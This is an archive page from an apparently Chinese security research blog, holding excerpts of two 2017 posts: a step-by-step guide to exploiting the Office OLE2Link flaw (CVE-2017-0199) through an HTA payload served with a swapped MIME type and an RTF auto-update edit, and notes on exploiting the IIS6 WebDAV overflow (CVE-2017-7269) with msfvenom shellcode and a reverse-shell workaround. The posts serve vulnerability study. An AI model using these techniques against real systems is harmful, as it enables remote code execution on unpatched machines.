Archive for 四月, 2017

CVE-2017-0199 OFFICE OLE2LINK漏洞利用详解

作者:天择实验室wuhj@jowto.com
转载请注明出处:http://blog.jowto.com

漏洞概述

fireeye最近公布了一个OFFICE 0day,在无需用户交互的情况下,打开word文档就可以通过hta脚本执行任意代码。经过研究发现,此漏洞的成因主要是word在处理内嵌OLE2LINK对象时,通过网络更新对象时没有正确处理的Content-Type所导致的一个逻辑漏洞。

漏洞利用方法

首先准备一台apache服务器,web根目录下保存一个1.rtf文件,内容如下:

test789
<script>
var objShell = new ActiveXObject("wscript.shell");
objShell.Run("%SystemRoot%\\system32\\calc.exe");
</script>

确保apache配置文件conf/mime.types里面有rtf的content type项:

application/rtf                 rtf

用word生成一个空白文档,然后在其中插入一个对象。

选择由文件创建,输入web服务器上1.rtf的URL,一定要选上“链接到文件”:

这时候会生成一个有test789文字内嵌对象的文档,这是双击该对象只能以rtf文件方式打开对象,并不能执行hta脚本。因为生成对象的时候选中“链接到文件”,所以当打开对象的时候会去服务器上请求http://192.168.1.108/1.rtf来更新对象内容。

此时在apache配置文件conf/mime.types中把

application/rtf                 rtf

修改成:

application/hta                 rtf

重启apache后,清除IE缓存:

再双击对象,此时虽然访问的还是1.rtf文件,但是服务器的Content-type会返回application/hta,而word就以hta脚本的方式打开文件:

这样的poc还是需要用户双击对象进行交互的,那么怎么样才能自动运行对象呢?这里就需要把文件保存成rtf格式:

用文本编辑器打开刚保存的rtf文件,找到object标签所在的地方:

{\object\objautlink\rsltpict

修改成:

{\object\objautlink\objupdate
阅读全文
Posted on 四月 17, 2017 at 下午2:01 by admin · Permalink · Comments Closed
In: 漏洞分析

IIS6 ScStoragePathFromUrl溢出漏洞利用方法

作者:天择实验室wuhj@jowto.com
转载请注明出处:http://blog.jowto.com

3月27日华南理工大学的研究人员公布了IIS6的一个栈溢出漏洞(CVE-2017-7269),在2003系统下开启WEBDAV的情况下,可以远程获取Network Service权限。在尝试调试利用此漏洞的时候,我遇到了一些问题并进行了解决,现在把调试和解决方法记录下来作为学习笔记,以便日后总结复习。

漏洞简析

此漏洞出现在httpext.dll的ScStoragePathFromUrl,当发送PROPFIND请求后,IIS会把请求交给WEBDAV的扩展httpext.dll来处理,最终调用到HrCheckIfHeader:

HrCheckIfHeader回去调用CMethUtil::ScStoragePathFromUrl,作用大概是把URL映射到本地文件路径。

在ScStoragePathFromUrl的处理过程中对If头的内容没有正确处理,当出现以If: <http://开头的字符串时,复制过程中会导致栈溢出。

漏洞利用

网上给出此漏洞利用的一个poc:
https://github.com/edwardz246003/IIS_exploit/blob/master/exploit.py
利用三次ScStoragePathFromUrl溢出覆盖到IEcb类的虚函数表,最终在调用httpext!ScStripAndCheckHttpPrefix的时候执行到ROP链,rsaenh.dll中的ROP链最终跳转到shellcode执行。

这里的shellcode会被MultiByteToWideChar处理,所以必须编写能经过UNICODE转换的shellcode,可以使用msfvenom来生成shellcode:

msfvenom -p windows/exec CMD="calc.exe" EXITFUNC=thread -e x86/unicode_mixed BufferRegister=ESI

本来以为到这里漏洞利用很简单就会结束,但是改写exp的时候又遇到了一些问题,因此有了本文。

绕过限制

我用msfvenom生成反向回连的shellcode去替换原有shellcode,发现无法回连CMD SHELL,但是会有连接返回来,在目标机器上查看发现没有启动cmd.exe进程。同样用windows/exec payload启动cmd.exe也无法成功,这就奇怪了,难道IIS对启动进程做了限制?禁止w3wp.exe进程去启动cmd.exe?

后来有人发布了msf下的exp程序,试验却可以返回CMDSHELL,观察后发现msf并非直接启动cmd.exe,而是由w3wp启动notepad.exe,再由notepad来启动cmd.exe。这更证实了我的猜测,IIS对自身所创建的进程有限制,无法直接创建cmd进程。

于是我也改造自己的shellcode,由shellcode先创建一个calc.exe进程,然后把shellcode自身注入到这个进程中,在calc中把cmd.exe复制到其他目录,再由原始shellcode创建cmd副本。我用了TK教主的C语言编写shellcode框架(https://github.com/tombkeeper/Shellcode_Template_in_C),shellcode主要代码部分如下:

void ShellCode(EXTENSION_CONTROL_BLOCK *ecb)  //这里直接用IIS里的ECB控制块,后面解释为什么用这个
{
    struct  KERNEL32    
阅读全文
Posted on 四月 17, 2017 at 下午1:25 by admin · Permalink · Comments Closed
In: 漏洞分析
友情链接